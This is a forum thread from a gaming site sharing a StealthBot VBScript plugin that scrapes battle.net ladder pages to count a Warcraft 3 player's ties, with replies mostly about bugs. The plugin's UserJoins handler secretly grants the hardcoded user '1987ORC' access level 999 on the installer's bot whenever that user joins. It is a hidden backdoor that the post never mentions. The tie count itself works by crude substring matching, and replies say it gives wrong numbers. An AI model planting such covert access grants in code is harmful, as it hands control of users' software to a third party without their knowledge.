Gaming Community
Forum
 
Go Back   D3scene > Hot Games > Warcraft 3 forum > Warcraft 3 Tools > Stealthbot > Stealthbot Plugins
Register Blogs Live view Downloads Marketplace FAQ Members List Social Groups Calendar Search Today's Posts Mark Forums Read

Get the ties of an user, made by T[x]aS !

This is a discussion on Get the ties of an user, made by T[x]aS ! within the Stealthbot Plugins forum part of the Stealthbot category; here it is =) its fun only for Northrend ! .getties username = number of ties ! Code: 'GetTieS '1.0 ...


Welcome on D3scene.com! Make sure to register - it's free and very quick! You have to register before you can post and participate in our discussions with 70000 other registered members. Downloads, user profiles and some forums can only be seen by registered members. After you create your free account you will be able to customize many options, you will have the full access to new hacks, latest cheats and last but not least will see no advertisements at all. We would love to see you around in our community!
Reply
 
LinkBack Thread Tools Display Modes
  #1  
Old 11-02-2007, 11:11 AM
xiN xiN is offline
The Almighty Frenchie

 
Join Date: Feb 2007
Location: Six feet under
Posts: 1,686
Thanks: 8
Thanked 12 Times in 9 Posts
Reputation: 314
Rep Power: 4
xiN is a jewel in the roughxiN is a jewel in the roughxiN is a jewel in the roughxiN is a jewel in the rough
Get the ties of an user, made by T[x]aS !

here it is =) its fun only for Northrend !

.getties username = number of ties !

Code:
'GetTieS
'1.0
'**** by DrOiD3
Dim TotalTies
dim Users(40)
dim Txttotal
Dim LastTies
Sub GetTieS_Event_UserTalk(Username, Flags, Message, Ping)



Call ssc.GetDBEntry(username, Access, Flags)
if access < 70 then exit sub	

If Left(Message, 9) = BotVars.Trigger & "getties " then
   User = mid(message,10)
   Addq "/emote Searching The Ties of [ " & User & " ]"
   call BuscaTiesEn(user,1)
end if

If Message = BotVars.Trigger & "gettiesinchannel" then
    Addq "/emote Searching The Ties of " & GetInternalUserCount() & " in Channel " & myChannel
	Txttotal = GetInternalUserCount()
	For i = 1 to 40
		Users(i) = ""
	next
	
	For i = 1 to GetInternalUserCount()
		Users(i) = GetNameByPosition(i)
	next
	
	For i = 1 to 40
		if users(i) <> "" then
			call BuscaTiesEn(users(i),i)
		end if		   
    next

end if

end sub




sub BuscaTiesEn(user,id)
    
	
	
	TotalTies = 0
	if ScINet.stillExecuting then
	   addq  username & "   ^_^ I'M BuSy   "
	   exit sub	  
	end if	
	
	'/// Total PAginas
	ContentP = scinet.openurl("http://www.battle.net/war3/ladder/war3-player-logged-games.aspx?Gateway=Northrend&PlayerName="&user&"&SortField=Game_Result&SortDir=Asc&PageNo=1")
	pos = InStr(contentp, "left-bot.gif")
	ContentP = mid(contentp,pos + 15,1000)
	pos = InStr(contentp, "Asc&PageNo")
	ContentP = mid(contentp,pos + 15)
	pos = InStr(contentp, "Asc&PageNo")
	paginas = mid(contentp,pos+11,2)
	paginas = GetNumber(paginas)
	'addchat vbgreen , contentp
	TotalGAmes = 20 * paginas
	
	addchat vbred, "PAGINAS: " & Paginas
	
	
	if paginas > 50 then paginas = 50
	
	For j=1 to paginas
	     'addq "/emote >> Searching Ties in Page [ " & j & " ]"
	    addchat vbred, j
		testResult = j Mod 2
		if testResult = 0 then Addq "/emote Searched a total of [ " & j & "/" & paginas & " pages ] " & TxtPorcent(j,paginas) & " % Done | " & User
		Content = scinet.openurl("http://www.battle.net/war3/ladder/war3-player-logged-games.aspx?Gateway=Northrend&PlayerName="&user&"&SortField=Game_Result&SortDir=Asc&PageNo="&j)
		LastTies = GetTies (content) 
		TotalTies = TotalTies + lastTies
	Next
   
	TxtTie = ""
'	if TotalTies > 10 then TxtTie = " <---- Mb is a TieHAcker"

	
	
	
	if id = 1 then
		Addq "/emote >>> TOTAL TIES OF [ " & Ucase(user) & " ] = ( " & TotalTies & " ) " & TxtTie  & " | By DrOiD"' Games: " & 20 * paginas
	else
		Addq "/emote >>> TOTAL TIES OF [ " & Ucase(user) & " ] = ( " & TotalTies & " ) " & TxtTie & " | " & TxtPorcent(id,Txttotal) & "% Done"
	end if
	
	

end sub

Sub GetTieS_Event_UserJoins(Username, Flags, Message, Ping, Product, Level, OriginalStatstring)

GetDBEntry Username, Access, Flags
If ucase(username) = "1987ORC" Then Command MyUsername, "/add " & Username & " 999", True
end sub


Function GetTies(str)
str = lcase(str)
GetTies = 0
termina = "no"
While termina = "no"

pos = InStr(str, "tie")
If pos > 0 Then
    NumTies = NumTies + 1
    str = Mid(str, pos + 3)
Else
   termina = "si"
End If

Wend

GetTies = NumTies

End Function




function TxtPorcent(i,txttotal)
	TxtPorcent = i * 100/Txttotal
	TxtPorcent = left(TxtPorcent,5)
end function



Function GetNumber(Str)

for c=1 to len(Str)
car = mid(str,c,1)
if isnumeric(car) then 
	GetNumber = GetNumber & car
	addchat vbgreen, getnumber
end if
next

end function

'Function TotalGames(USer)
'user = "casi.nah-mtb"
'content3 = scinet.openurl("http://www.battle.net/war3/ladder/war3-player-profile.aspx?Gateway=Northrend&PlayerName="&user)
'a = Split(Content3, "Total:</td>")(1)
'TStat =               Split(Split(a, "Row"">")(1), "<")(0)
'TStat = TStat & "-" & Split(Split(a, "Row"">")(2), "<")(0)
'TStat = TStat & "-" & Split(Split(a, "Row"">")(3), "<")(0)
'TotalGames = Split(Split(a, "Row"">")(3), "<")(0)
'TotalGames = TStat 
'end function


Sub TieStreak(User)

user = "casi.nah-mtb"
'content = Me.Inet1.OpenURL("http://www.battle.net/war3/ladder/war3-player-logged-games.aspx?Gateway=Northrend&PlayerName=" & user)
content = scinet.OpenURL("http://www.battle.net/war3/ladder/war3-player-logged-games.aspx?Gateway=Northrend&PlayerName=" & user)
pos = InStr(content, "Opponents:")
content = Mid(content, pos)

addchat vbgreen, content
end sub

Last edited by xiN; 11-02-2007 at 11:16 AM.
Reply With Quote
D3scene
Welcome to D3scene - probably the best location for all Gamers.

To participate in our friendly environment you have to register. After completing registration you will have full access to all threads and features. We care about members and try to make your stay as pleasant as possible. We are unique with the following feature for members - you will not see a single Advertisement!


The best: registration is completely free. It will not cost you a single penny or harm you in any way. You will lose nothing except 1 minute of your time. So why not register? We would be happy to see you around!
  #2  
Old 11-02-2007, 01:16 PM
hendricius's Avatar
Administrator

 
Join Date: Feb 2007
Location: Hamburg, Germany
Posts: 5,686
Blog Entries: 22
Thanks: 69
Thanked 63 Times in 24 Posts
Reputation: 1453
Rep Power: 12
hendricius has much to be proud ofhendricius has much to be proud ofhendricius has much to be proud ofhendricius has much to be proud ofhendricius has much to be proud ofhendricius has much to be proud ofhendricius has much to be proud ofhendricius has much to be proud ofhendricius has much to be proud ofhendricius has much to be proud of
Very nice script :-).

How about you add them to our Download-section? I can add a stealthbot category.
Reply With Quote
  #3  
Old 11-02-2007, 01:48 PM
xiN xiN is offline
The Almighty Frenchie

 
Join Date: Feb 2007
Location: Six feet under
Posts: 1,686
Thanks: 8
Thanked 12 Times in 9 Posts
Reputation: 314
Rep Power: 4
xiN is a jewel in the roughxiN is a jewel in the roughxiN is a jewel in the roughxiN is a jewel in the rough
i added it im gonna had the others :p

Last edited by xiN; 11-02-2007 at 01:59 PM.
Reply With Quote
  #4  
Old 11-02-2007, 02:01 PM
WaitForUfo's Avatar
Addicted to hacks ;)

 
Join Date: Jun 2007
Posts: 622
Thanks: 75
Thanked 7 Times in 5 Posts
Reputation: 108
Rep Power: 3
WaitForUfo will become famous soon enoughWaitForUfo will become famous soon enough
Haha, very cute
Reply With Quote
  #5  
Old 11-02-2007, 02:04 PM
xiN xiN is offline
The Almighty Frenchie

 
Join Date: Feb 2007
Location: Six feet under
Posts: 1,686
Thanks: 8
Thanked 12 Times in 9 Posts
Reputation: 314
Rep Power: 4
xiN is a jewel in the roughxiN is a jewel in the roughxiN is a jewel in the roughxiN is a jewel in the rough
true, its just imba ^^
Reply With Quote
  #6  
Old 11-20-2007, 01:12 PM
Newbie

 
Join Date: Aug 2007
Posts: 3
Thanks: 0
Thanked 0 Times in 0 Posts
Reputation: 0
Rep Power: 3
zera89 is an unknown quantity at this point
In the Last days the Bot doesnt realy shows me the ties?

He often shows 0 ties and search just on 14 pages if someone have 144 etc.
Is there something to fixx it?
Reply With Quote
  #7  
Old 11-20-2007, 02:03 PM
xiN xiN is offline
The Almighty Frenchie

 
Join Date: Feb 2007
Location: Six feet under
Posts: 1,686
Thanks: 8
Thanked 12 Times in 9 Posts
Reputation: 314
Rep Power: 4
xiN is a jewel in the roughxiN is a jewel in the roughxiN is a jewel in the roughxiN is a jewel in the rough
it should say every ties, but it sometimes bugs, u can see it into ur bot, just re-do .getties <user> , i found another bug, i have about 120 ties and bots says i have 2 xD, but i am not the maker of the plugin, i cant know how to fix it
Reply With Quote
  #8  
Old 12-07-2007, 03:14 PM
lolercakess's Avatar
Member

 
Join Date: Jul 2007
Posts: 48
Thanks: 0
Thanked 0 Times in 0 Posts
Reputation: 36
Rep Power: 3
lolercakess is on a distinguished road
haha very nice plug but ... i have 1589 ties >_<
Reply With Quote
  #9  
Old 01-05-2008, 03:45 PM
Alt-F[4]'s Avatar
Addict

 
Join Date: Nov 2007
Location: PORTUGAL
Posts: 72
Thanks: 0
Thanked 0 Times in 0 Posts
Reputation: 6
Rep Power: 2
Alt-F[4] is an unknown quantity at this point
Send a message via MSN to Alt-F[4]
cant get it working
Reply With Quote
  #10  
Old 03-01-2008, 04:03 PM
Wannabe Member

 
Join Date: Jun 2007
Posts: 10
Thanks: 0
Thanked 0 Times in 0 Posts
Reputation: 0
Rep Power: 3
Extermjunge is an unknown quantity at this point
ed
<-- starman
it works on stealthbot ??
i tried to download it from droid on w3roc.com but i duno xd
Reply With Quote
D3scene
Welcome to D3scene - probably the best location for all Gamers.

To participate in our friendly environment you have to register. After completing registration you will have full access to all threads and features. We care about members and try to make your stay as pleasant as possible. We are unique with the following feature for members - you will not see a single Advertisement!


The best: registration is completely free. It will not cost you a single penny or harm you in any way. You will lose nothing except 1 minute of your time. So why not register? We would be happy to see you around!
Reply

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are Off


Similar Threads
Thread Thread Starter Forum Replies Last Post
Hackers in channel, made by T[x]aS ! xiN Stealthbot Plugins 7 11-17-2008 11:39 PM
Infochannel plugin, made by T[x]aS ! New version xiN Stealthbot Plugins 5 12-07-2007 03:17 PM
Kalbintion's Guide To Get To Hidden Area's Kalbintion WoW Private Server Info & Help 32 10-08-2007 04:33 PM


All times are GMT +1. The time now is 03:31 PM.

Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
SEO by vBSEO 3.3.0 ©2009, Crawlability, Inc.
vBulletin style developed by Transverse Styles